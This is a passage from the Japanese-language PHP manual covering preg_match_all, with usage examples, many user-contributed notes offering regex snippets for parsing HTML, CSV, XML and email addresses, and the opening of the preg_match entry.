preg_match_all("/\(?  (\d{3})?  \)?  (?(1)  [\-\s] ) \d{3}-\d{4}/x",
                "Call 555-1212 or 1-800-555-1212", $phones);
?>

例2 HTML タグにマッチするものを見付ける（貪欲）

<?php
// \\2 は後方参照の例。これは、pcre に正規表現中の括弧の 2 番目の
// 組、つまりこの場合は ([\w]+)、にマッチする。文字列が二重引用符で
// 括られているため、バックスラッシュの追加が必要。
$html = "<b>bold text</b><a href=howdy.html>click me</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/", $html, $matches, PREG_SET_ORDER);

foreach ($matches as $val) {
    echo "matched: " . $val[0] . "\n";
    echo "part 1: " . $val[1] . "\n";
    echo "part 2: " . $val[2] . "\n";
    echo "part 3: " . $val[3] . "\n";
    echo "part 4: " . $val[4] . "\n\n";
}
?>

上の例の出力は以下となります。

matched: <b>bold text</b>
part 1: <b>
part 2: b
part 3: bold text
part 4: </b>

matched: <a href=howdy.html>click me</a>
part 1: <a href=howdy.html>
part 2: a
part 3: click me
part 4: </a>

例3 名前つきサブパターンの使用法

<?php

$str = <<<FOO
a: 1
b: 2
c: 3
FOO;

preg_match_all('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* PHP 5.2.2 (PCRE 7.0) 以降ではこの形式でも動作しますが、
 * 過去との互換性を考慮して上の形式のほうを推奨します */
// preg_match_all('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [0] => a: 1
            [1] => b: 2
            [2] => c: 3
        )

    [name] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [1] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [digit] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [2] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)

参考

  • PCRE のパターン
  • preg_quote() - 正規表現文字をクオートする
  • preg_match() - 正規表現によるマッチングを行う
  • preg_replace() - 正規表現検索および置換を行う
  • preg_split() - 正規表現で文字列を分割する
  • preg_last_error() - 直近の PCRE 正規表現処理のエラーコードを返す

User Contributed Notes

chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
qdinar at gmail dot com 19-Apr-2018 07:28
when regex is for longer and shorter version of a string,
only one of that long and short versions is catched.
when regex match occurs in one position of string,
only one match is saved in matches[0] for that position.
if ? is used, regex is greedy, and catches more long version,
if | is used, most first matching variant is catched:
<?php
preg_match_all('/ab|abc/','abc',$m);
var_dump($m);
preg_match_all('/abc?/','abc',$m);
var_dump($m);
?>
['ab', 'abc'] in $m[0] for both can be expected, but it is not so,
actually they output [['ab']] and [['abc']]:
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(2) "ab"
  }
}
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(3) "abc"
  }
}
stamster at gmail dot com 09-Feb-2016 11:55
Be careful with this pattern match and large input buffer on preg_match_* functions.

<?php
$pattern = '/\{(?:[^{}]|(?R))*\}/';

preg_match_all($pattern, $buffer, $matches);
?>

if $buffer is 80+ KB in size, you'll end up with segfault!

[89396.588854] php[4384]: segfault at 7ffd6e2bdeb0 ip 00007fa20c8d67ed sp 00007ffd6e2bde70 error 6 in libpcre.so.3.13.1[7fa20c8c3000+3c000]

This is due to the PCRE recursion. This is a known bug in PHP since 2008, but it's source is not PHP itself but PCRE library.

Rasmus Lerdorf has the answer: https://bugs.php.net/bug.php?id=45735#1365812629

"The problem here is that there is no way to detect run-away regular expressions
here without huge performance and memory penalties. Yes, we could build PCRE in a
way that it wouldn't segfault and we could crank up the default backtrack limit
to something huge, but it would slow every regex call down by a lot. If PCRE
provided a way to handle this in a more graceful manner without the performance
hit we would of course use it."
matt at lvl99 dot com 19-Nov-2015 02:30
I had been crafting and testing some regexp patterns online using the tools Regex101 and a `preg_match_all()` tester and found that the regexp patterns I wrote worked fine on them, just not in my code.

My problem was not double-escaping backslash characters:

<?php
// Input test
$input = "\"something\",\"something here\",\"some\nnew\nlines\",\"this is the end\"";

// Work with online regexp testers, doesn't work in PHP
preg_match_all( "/(?:,|^)(?<!\\)\".*?(?<!\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs: NULL
*/

// Works with online regexp testers, does work in PHP
preg_match_all( "/(?:,|^)(?<!\\\\)\".*?(?<!\\\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs:
array(2) {
  [0]=>
  array(4) {
    [0]=>
    string(11) ""something""
    [1]=>
    string(17) ","something here""
    [2]=>
    string(17) ","some
new
lines""
    [3]=>
    string(18) ","this is the end""
  }
  [1]=>
  array(4) {
    [0]=>
    string(9) "something"
    [1]=>
    string(14) "something here"
    [2]=>
    string(14) "some
new
lines"
    [3]=>
    string(15) "this is the end"
  }
}
*/
?>
stas kuryan aka stafox 09-Nov-2015 08:57
Here is a awesome online regex editor https://regex101.com/
which helps you test your regular expressions (prce, js, python) with real-time highlighting of regex match on data input.
vojjov dot artem at ya dot ru 26-May-2015 03:40
// Here is function that allows you to preg_match_all array of patters

function getMatches($pattern, $subject) {
    $matches = array();

    if (is_array($pattern)) {
        foreach ($pattern as $p) {
            $m = getMatches($p, $subject);

            foreach ($m as $key => $match) {
                if (isset($matches[$key])) {
                    $matches[$key] = array_merge($matches[$key], $m[$key]);
                } else {
                    $matches[$key] = $m[$key];
                }
            }
        }
    } else {
        preg_match_all($pattern, $subject, $matches);
    }

    return $matches;
}

$patterns = array(
    '/<span>(.*?)<\/span>/',
    '/<a href=".*?">(.*?)<\/a>/'
);

$html = '<span>some text</span>';
$html .= '<span>some text in another span</span>';
$html .= '<a href="path/">here is the link</a>';
$html .= '<address>address is here</address>';
$html .= '<span>here is one more span</span>';

$matches = getMatches($patterns, $html);

print_r($matches); // result is below

/*
Array
(
    [0] => Array
        (
            [0] => <span>some text</span>
            [1] => <span>some text in another span</span>
            [2] => <span>here is one more span</span>
            [3] => <a href="path/">here is the link</a>
        )

    [1] => Array
        (
            [0] => some text
            [1] => some text in another span
            [2] => here is one more span
            [3] => here is the link
        )

)
*/
Daniel Klein 17-May-2015 05:26
The code that john at mccarthy dot net posted is not necessary. If you want your results grouped by individual match simply use:

<?
preg_match_all($pattern, $string, $matches, PREG_SET_ORDER);
?>

E.g.

<?
preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches); // Default PREG_PATTERN_ORDER
// $matches = array(0 => array(0 => 'G1?', 1 => 'H2!'),
//                  1 => array(0 => 'G', 1 => 'H'),
//                  2 => array(0 => '1', 1 => '2'),
//                  3 => array(0 => '?', 1 => '!'))

preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches, PREG_SET_ORDER);
// $matches = array(0 => array(0 => 'G1?', 1 => 'G', 2 => '1', 3 => '?'),
//                  1 => array(0 => 'H2!', 1 => 'H', 2 => '2', 3 => '!'))
?>
DarkSide 15-Apr-2014 02:03
This is very useful to combine matches:
$a = array_combine($matches[1], $matches[2]);
ajeet dot nigam at icfaitechweb dot com 22-Jan-2014 06:34
Here http://tryphpregex.com/ is a  php based online regex editor which helps you test your regular expressions with real-time highlighting of regex match on data input.
fab 24-Sep-2012 09:14
Here is a function that replaces all occurrences of a number in a string by the number--

<?php
function decremente_chaine($chaine)
    {
        //recuperer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // decouper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on decale tout de 1 car le resultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
fseverin at free dot fr 22-Sep-2012 05:52
As I intended to create for my own purpose a clean PHP class to act on XML files, combining the use of DOM and simplexml functions, I had that small problem, but very annoying, that the offsets in a path is not numbered the same in both.

That is to say, for example, if i get a DOM xpath object it appears like:
/ANODE/ANOTHERNODE/SOMENODE[9]/NODE[2]
and as a simplexml object would be equivalent to:
ANODE->ANOTHERNODE->SOMENODE[8]->NODE[1]

So u see what I mean? I used preg_match_all to solve that problem, and finally I got this after some hours of headlock (as I'm french the names of variables are in French sorry), hoping it could be useful to some of you:

<?php
function decrease_string($string)
    {
        /* retrieve all occurrences AND offsets of numbers in the original string: */

        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // cut the string in 3 pieces
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 /* if it's 10,100,1000, the problem is that the string gets shorter and it shifts all the offsets, so we have to decrease them of 1 */
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
marc 04-May-2012 03:48
Better use preg_replace to convert text in a clickable link with tag <a>

$html = preg_replace('"\b(http://\S+)"', '<a href="$1">$1</a>', $text);
satyavvd at ymail dot com 20-Sep-2011 04:08
Extract fields out of csv string : ( since before php5.3 you can't use str_getcsv function )
Here is the regex :

<?php

$csvData = <<<EOF
10,'20',"30","'40","'50'","\"60","70,80","09\\/18,/\"2011",'a,sdfcd'
EOF

$reg = <<<EOF
/
    (
        (
            ([\'\"])
            (
               (
                [^\'\"]
                |
                (\\\\.)
               )*
            )
            (\\3)
            |
            (
                [^,]
                |
                (\\\\.)
            )*
    ),)
    /x
EOF;

preg_match_all($reg,$csvData,$matches);

// to extract csv fields
print_r($matches[2]);
?>
john at mccarthy dot net 18-Feb-2011 11:21
I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.

<?php
function turn_array($m)
{
    for ($z = 0;$z < count($m);$z++)
    {
        for ($x = 0;$x < count($m[$z]);$x++)
        {
            $rt[$x][$z] = $m[$z][$x];
        }
    }

    return $rt;
}
?>

Example - Take results of some preg_match_all query:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => Canmore
            [3] => Invermere
        )

    [1] => Array
        (
            [1] => AB
            [2] => AB
            [3] => BC
        )

    [2] => Array
        (
            [1] => 51.1746254
            [2] => 51.0938416
            [3] => 50.5065193
        )

    [3] => Array
        (
            [1] => -115.5719757
            [2] => -115.3517761
            [3] => -116.0321884
        )

    [4] => Array
        (
            [1] => T1L 1B3
            [2] => T1W 1N2
            [3] => V0B 2G0
        )

)

Rotate it 90 degrees to group results as records:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => AB
            [3] => 51.1746254
            [4] => -115.5719757
            [5] => T1L 1B3
        )

    [1] => Array
        (
            [1] => Canmore
            [2] => AB
            [3] => 51.0938416
            [4] => -115.3517761
            [5] => T1W 1N2
        )

    [2] => Array
        (
            [1] => Invermere
            [2] => BC
            [3] => 50.5065193
            [4] => -116.0321884
            [5] => V0B 2G0
        )
)
buuh 06-Dec-2010 02:03
if you want to extract all {token}s from a string:

<?php
$pattern = "/{[^}]*}/";
$subject = "{token1} foo {token2} bar";
preg_match_all($pattern, $subject, $matches);
print_r($matches);
?>

output:

Array
(
    [0] => Array
        (
            [0] => {token1}
            [1] => {token2}
        )

)
no at bo dot dy 08-Sep-2010 11:23
For parsing queries with entities use:

<?php
preg_match_all("/(?:^|(?<=\&(?![a-z]+\;)))([^\=]+)=(.*?)(?:$|\&(?![a-z]+\;))/i",
  $s, $m, PREG_SET_ORDER );
?>
avengis at gmail dot com 23-Sep-2009 02:25
The next function works with almost any complex xml/xhtml string

<?php
/**
* Find and close unclosed xml tags
**/
function close_tags($text) {
    $patt_open    = "%((?<!</)(?<=<)[\s]*[^/!>\s]+(?=>|[\s]+[^>]*[^/]>)(?!/>))%";
    $patt_close    = "%((?<=</)([^>]+)(?=>))%";
    if (preg_match_all($patt_open,$text,$matches))
    {
        $m_open = $matches[1];
        if(!empty($m_open))
        {
            preg_match_all($patt_close,$text,$matches2);
            $m_close = $matches2[1];
            if (count($m_open) > count($m_close))
            {
                $m_open = array_reverse($m_open);
                foreach ($m_close as $tag) $c_tags[$tag]++;
                foreach ($m_open as $k => $tag)    if ($c_tags[$tag]--<=0) $text.='</'.$tag.'>';
            }
        }
    }
    return $text;
}
?>
royaltm75 at gmail dot com 13-Sep-2009 02:44
I have received complains, that my html2a() code (see below) doesn't work in some cases.
It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.

If you use recursive PCRE (?R) you should remember to increase those two ini settings:

ini_set('pcre.backtrack_limit', 10000000);
ini_set('pcre.recursion_limit', 10000000);

But be warned: (from php.ini)

;Please note that if you set this value to a high number you may consume all
;the available process stack and eventually crash PHP (due to reaching the
;stack size limit imposed by the Operating System).

I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation  :)

But if you like it, use it, of course on your own risk.
elyknosrac at gmail dot com 18-Jul-2009 03:51
Using preg_match_all I made a pretty handy function.

<?php

function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
    if (! $pattern || ! $subject || ! $replacement ) { return false; }

    $replacementChar = preg_quote($replacementChar);

    preg_match_all ( $pattern, $subject, $matches);

    if ($limit > -1) {
        foreach ($matches as $count => $value )
        {
            if ($count + 1 > $limit ) { unset($matches[$count]); }
        }
    }
    foreach ($matches[0] as $match) {
        $rep = ereg_replace($replacementChar, $match, $replacement);
        $subject = ereg_replace($match, $rep, $subject);
    }

    return $subject;
}
?>

This function can turn blocks of text into clickable links or whatever.  Example:

<?php
reg_smart_replace(EMAIL_REGEX, '<a href="mailto:$$$">$$$</a>', $description)
?>
will turn all email addresses into actual links.

Just substitute $$$ with the text that will be found by the regex.  If you can't use $$$ then use the 4th parameter $replacementChar
ad 01-Apr-2009 05:18
i have made up a simple function to extract a number from a string..

I am not sure how good it is, but it works.

It gets only the numbers 0-9, the "-", " ", "(", ")", "."

characters.. This is as far as I know the most widely used characters for a Phone number.

<?php
function clean_phone_number($phone) {
       if (!empty($phone)) {
               //var_dump($phone);
               preg_match_all('/[0-9\(\)+.\- ]/s', $phone, $cleaned);
               foreach($cleaned[0] as $k=>$v) {
                       $ready .= $v;
               }
               var_dump($ready);
               die;
               if (mb_strlen($cleaned) > 4 && mb_strlen($cleaned) <=25) {
                       return $cleaned;
               }
               else {
                       return false;
               }
       }
       return false;
}
?>
royaltm75 at NOSPAM dot gmail dot com 21-Feb-2009 02:55
The power of pregs is limited only by your *imagination* :)
I wrote this html2a() function using preg recursive match (?R) which provides quite safe and bulletproof html/xml extraction:
<?php
function html2a ( $html ) {
  if ( !preg_match_all( '
@
\<\s*?(\w+)((?:\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?)\>
((?:(?>[^\<]*)|(?R))*)
\<\/\s*?\\1(?:\b[^\>]*)?\>
|\<\s*(\w+)(\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?\/?\>
@uxis', $html = trim($html), $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER) )
    return $html;
  $i = 0;
  $ret = array();
  foreach ($m as $set) {
    if ( strlen( $val = trim( substr($html, $i, $set[0][1] - $i) ) ) )
      $ret[] = $val;
    $val = $set[1][1] < 0
      ? array( 'tag' => strtolower($set[4][0]) )
      : array( 'tag' => strtolower($set[1][0]), 'val' => html2a($set[3][0]) );
    if ( preg_match_all( '
/(\w+)\s*(?:=\s*(?:"([^"]*)"|\'([^\']*)\'|(\w+)))?/usix
', isset($set[5]) && $set[2][1] < 0
  ? $set[5][0]
  : $set[2][0]
  ,$attrs, PREG_SET_ORDER ) ) {
      foreach ($attrs as $a) {
        $val['attr'][$a[1]]=$a[count($a)-1];
      }
    }
    $ret[] = $val;
    $i = $set[0][1]+strlen( $set[0][0] );
  }
  $l = strlen($html);
  if ( $i < $l )
    if ( strlen( $val = trim( substr( $html, $i, $l - $i ) ) ) )
      $ret[] = $val;
  return $ret;
}
?>

Now let's try it with this example: (there are some really nasty xhtml compliant bugs, but ... we shouldn't worry)

<?php
$html = <<<EOT
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
EOT;

$a = html2a($html);
//now we will make some neat html out of it
echo a2html($a);

function a2html ( $a, $in = "" ) {
  if ( is_array($a) ) {
    $s = "";
    foreach ($a as $t)
      if ( is_array($t) ) {
        $attrs="";
        if ( isset($t['attr']) )
          foreach( $t['attr'] as $k => $v )
            $attrs.=" ${k}=".( strpos( $v, '"' )!==false ? "'$v'" : "\"$v\"" );
        $s.= $in."<".$t['tag'].$attrs.( isset( $t['val'] ) ? ">\n".a2html( $t['val'], $in."  " ).$in."</".$t['tag'] : "/" ).">\n";
      } else
        $s.= $in.$t."\n";
  } else {
    $s = empty($a) ? "" : $in.$a."\n";
  }
  return $s;
}
?>
This produces:
some leftover text...
<div class="noCompliant" style="text-align:left;">
  ... and some other ...
  <div>
    <empty>
    </empty>
    <p>
      This is yet another text
      <br/>
      that wasn't
      <b>
        compliant
      </b>
      too...
      <br/>
    </p>
    <div class="noClass">
      this one is better but we don't care anyway
    </div>
    <p>
      <input type="text" name='my "name' value="nothin really." readonly="readonly"/>
      end of paragraph
    </p>
  </div>
</div>
some trailing text
meaneye at mail dot com 15-Oct-2008 02:56
Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.

So, to be able to write hebrew in utf8 table you need to do
<?php
$prepared_text = addslashes(urf8_encode($text));
?>

But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.

Solution was somewhat logical and simple...
<?php
$db_text = bin2hex(stripslashes(utf8_decode($db_text)));
$word = bin2hex($word);

$found = preg_match_all("/($word)+/i", $db_text, $matches);
?>

I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.

Hope someone finds this useful!
MonkeyMan 07-Oct-2008 01:25
Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.

<?php
function custom_preg_match_all($pattern, $subject)
{
    $offset = 0;
    $match_count = 0;
    while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))
    {
        // Increment counter
        $match_count++;

        // Get byte offset and byte length (assuming single byte encoded)
        $match_start = $matches[0][1];
        $match_length = strlen(matches[0][0]);

        // (Optional) Transform $matches to the format it is usually set as (without PREG_OFFSET_CAPTURE set)
        foreach($matches as $k => $match) $newmatches[$k] = $match[0];
        $matches = $new_matches;

        // Your code here
        echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";

        // Update offset to the end of the match
        $offset = $match_start + $match_length;
    }

    return $match_count;
}
?>

Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).
I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
sledge NOSPAM 19-Jun-2008 01:46
Perhaps you want to find the positions of all anchor tags.  This will return a two dimensional array of which the starting and ending positions will be returned.

<?php
function getTagPositions($strBody)
{
    define(DEBUG, false);
    define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");

    preg_match_all("/<[^>]+>(.*)<\/[^>]+>/U", $strBody, $strTag, PREG_PATTERN_ORDER);
    $intOffset = 0;
    $intIndex = 0;
    $intTagPositions = array();

    foreach($strTag[0] as $strFullTag) {
        if(DEBUG == true) {
            $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");
            fwrite($fhDebug, $fulltag."\n");
            fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");
            fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");
            fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");
            fclose($fhDebug);
        }
        $intTagPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTag, $intOffset)), 'end' => (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));
        $intOffset += strlen($strFullTag);
        $intIndex++;
    }
    return $intTagPositions;
}

$strBody = 'I have lots of <a href="http://my.site.com">links</a> on this <a href="http://my.site.com">page</a> that I want to <a href="http://my.site.com">find</a> the positions.';

$strBody = strip_tags(html_entity_decode($strBody), '<a>');
$intTagPositions = getTagPositions($strBody);
print_r($intTagPositions);

/*****
Output:

Array (
    [0] => Array (
        [start] => 15
        [end] => 53 )
    [1] => Array (
        [start] => 62
        [end] => 99 )
    [2] => Array (
        [start] => 115
        [end] => 152 )
 )
*****/
?>
spambegone at cratemedia dot com 20-Apr-2008 11:39
I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.

Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.

I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

// SAMPLE XML
<RETS ReplyCode="0" ReplyText="Operation Successful">
  <COUNT Records="14" />
  <DELIMITER value="09" />
  <COLUMNS>PropertyID</COLUMNS>
  <DATA>521897</DATA>
  <DATA>677208</DATA>
  <DATA>686037</DATA>
</RETS>

<?PHP

// SAMPLE FUNCTION
function parse_xml($xml) {

    // GET DELIMITER (single instance)
    $match_res = preg_match('/<DELIMITER value ?= ?"(.*)" ?\/>/', $xml, $matches);
    if(!empty($matches[1])) {
        $results["delimiter"] = chr($matches[1]);
    } else {
        // DEFAULT DELIMITER
        $results["delimiter"] = "\t";
    }
    unset($match_res, $matches);

    // GET MULTIPLE DATA NODES (multiple instances)
    $results["data_count"] = preg_match_all("/<DATA>(.*)<\/DATA>/", $xml, $matches);
    // GET MATCHES OF SUB PATTERN, DISCARD THE REST
    $results["data"]=$matches[1];
    unset($match_res, $matches);

    // UNSET XML TO SAVE MEMORY (should unset outside the function as well)
    unset($xml);

    // RETURN RESULTS ARRAY
    return $results;

}

?>
bruha 04-Mar-2008 12:13
To count str_length in UTF-8 string i use

$count = preg_match_all("/[[:print:]\pL]/u", $str, $pockets);

where
[:print:] - printing characters, including space
\pL - UTF-8 Letter
/u - UTF-8 string
other unicode character properties on http://www.pcre.org/pcre.txt
dolbegraeb 28-Jan-2008 04:30
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:

<img src="./img.jpg" alt="nice picture" />foo foo foo foo </img>

correct me if i'm wrong.
i'll see when there's time to fix that. -.-
mr davin 12-Jul-2007 02:57
<?php
// Returns an array of strings where the start and end are found
    function findinside($start, $end, $string) {
        preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)'. preg_quote($end, '/').'/i', $string, $m);
        return $m[1];
    }

    $start = "mary has";
    $end = "lambs.";
    $string = "mary has 6 lambs. phil has 13 lambs. mary stole phil's lambs. now mary has all the lambs.";

    $out = findinside($start, $end, $string);

    print_r ($out);

/* Results in
(
    [0] =>  6
    [1] =>  all the
)
*/
?>
phektus at gmail dot com 26-Jun-2007 11:22
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"

For example, the pattern:
'/<table>[\s\w\/<>=\\\"]*<\/table>/'

Should be able to match:
<table>
<row>
<col align="left" valign="top">a</col>
<col align="right" valign="bottom">b</col>
</row>
</table>
.. with all there is under those table tags.

I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
chuckie 06-Dec-2006 06:20
This is a function to convert byte offsets into (UTF-8) character offsets (this is reagardless of whether you use /u modifier:

<?php

function mb_preg_match_all($ps_pattern, $ps_subject, &$pa_matches, $pn_flags = PREG_PATTERN_ORDER, $pn_offset = 0, $ps_encoding = NULL) {
  // WARNING! - All this function does is to correct offsets, nothing else:
  //
  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

  $pn_offset = strlen(mb_substr($ps_subject, 0, $pn_offset, $ps_encoding));
  $ret = preg_match_all($ps_pattern, $ps_subject, $pa_matches, $pn_flags, $pn_offset);

  if ($ret && ($pn_flags & PREG_OFFSET_CAPTURE))
    foreach($pa_matches as &$ha_match)
      foreach($ha_match as &$ha_match)
        $ha_match[1] = mb_strlen(substr($ps_subject, 0, $ha_match[1]), $ps_encoding);
    //
    // (code is independent of PREG_PATTER_ORDER / PREG_SET_ORDER)

  return $ret;
  }

?>
phpnet at sinful-music dot com 20-Feb-2006 12:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
        //rfc2822 token setup
        $crlf           = "(?:\r\n)";
        $wsp            = "[\t ]";
        $text           = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
        $quoted_pair    = "(?:\\\\$text)";
        $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
        $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
                          "!-'*-[\\]-\\x7F]";
        $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                          "$fws?\\))";
        $cfws           = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
        //$cfws           = $fws; //an alternative to comments
        $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
        $atom           = "(?:$cfws?$atext+$cfws?)";
        $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
        $dot_atom       = "(?:$cfws?$dot_atom_text$cfws?)";
        $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
        $qcontent       = "(?:$qtext|$quoted_pair)";
        $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
        $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
        $dcontent       = "(?:$dtext|$quoted_pair)";
        $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
        $domain         = "(?:$dot_atom|$domain_literal)";
        $local_part     = "(?:$dot_atom|$quoted_string)";
        $addr_spec      = "($local_part@$domain)";
        $display_name   = "(?:(?:$atom|$quoted_string)+)";
        $angle_addr     = "(?:$cfws?<$addr_spec>$cfws?)";
        $name_addr      = "(?:$display_name?$angle_addr)";
        $mailbox        = "(?:$name_addr|$addr_spec)";
        $mailbox_list   = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
        $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
        $address        = "(?:$mailbox|$group)";
        $address_list   = "(?:(?:^|,)$address)+";

        //output length of string (just so you see how f**king long it is)
        echo(strlen($address_list) . " ");

        //apply expression
        preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

        return $array;
};
?>
mnc at u dot nu 02-Feb-2006 10:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.


正規表現によるマッチングを行う

  • ≪ preg_match_all
  • preg_quote ≫
  • PHP Manual
  • PCRE 関数
  • 正規表現によるマッチングを行う

preg_match

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match — 正規表現によるマッチングを行う

説明

preg_match ( string $pattern , string $subject , array &$matches = null , int $flags = 0 , int $offset = 0 ) : int|false

pattern で指定した正規表現により subject を検索します。

パラメータ

pattern

検索するパターンを表す文字列。

subject

入力文字列。

matches

matches を指定した場合、検索結果が代入されます。 $matches[0] にはパターン全体にマッチしたテキストが代入され、 $matches[1] には 1 番目のキャプチャ用サブパターンにマッチした 文字列が代入され、といったようになります。

flags

flags には以下のフラグの組み合わせを指定できます。

PREG_OFFSET_CAPTURE

このフラグを設定した場合、各マッチに対応する文字列のオフセットも(バイト単位で)返されます。 これは、matches の値を配列に変更することに注意してください。 その配列のすべての要素は、 オフセット 0 で一致した文字列、 およびその文字列のオフセット 1 での subject へのオフセットからなります。

<?php
preg_match('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

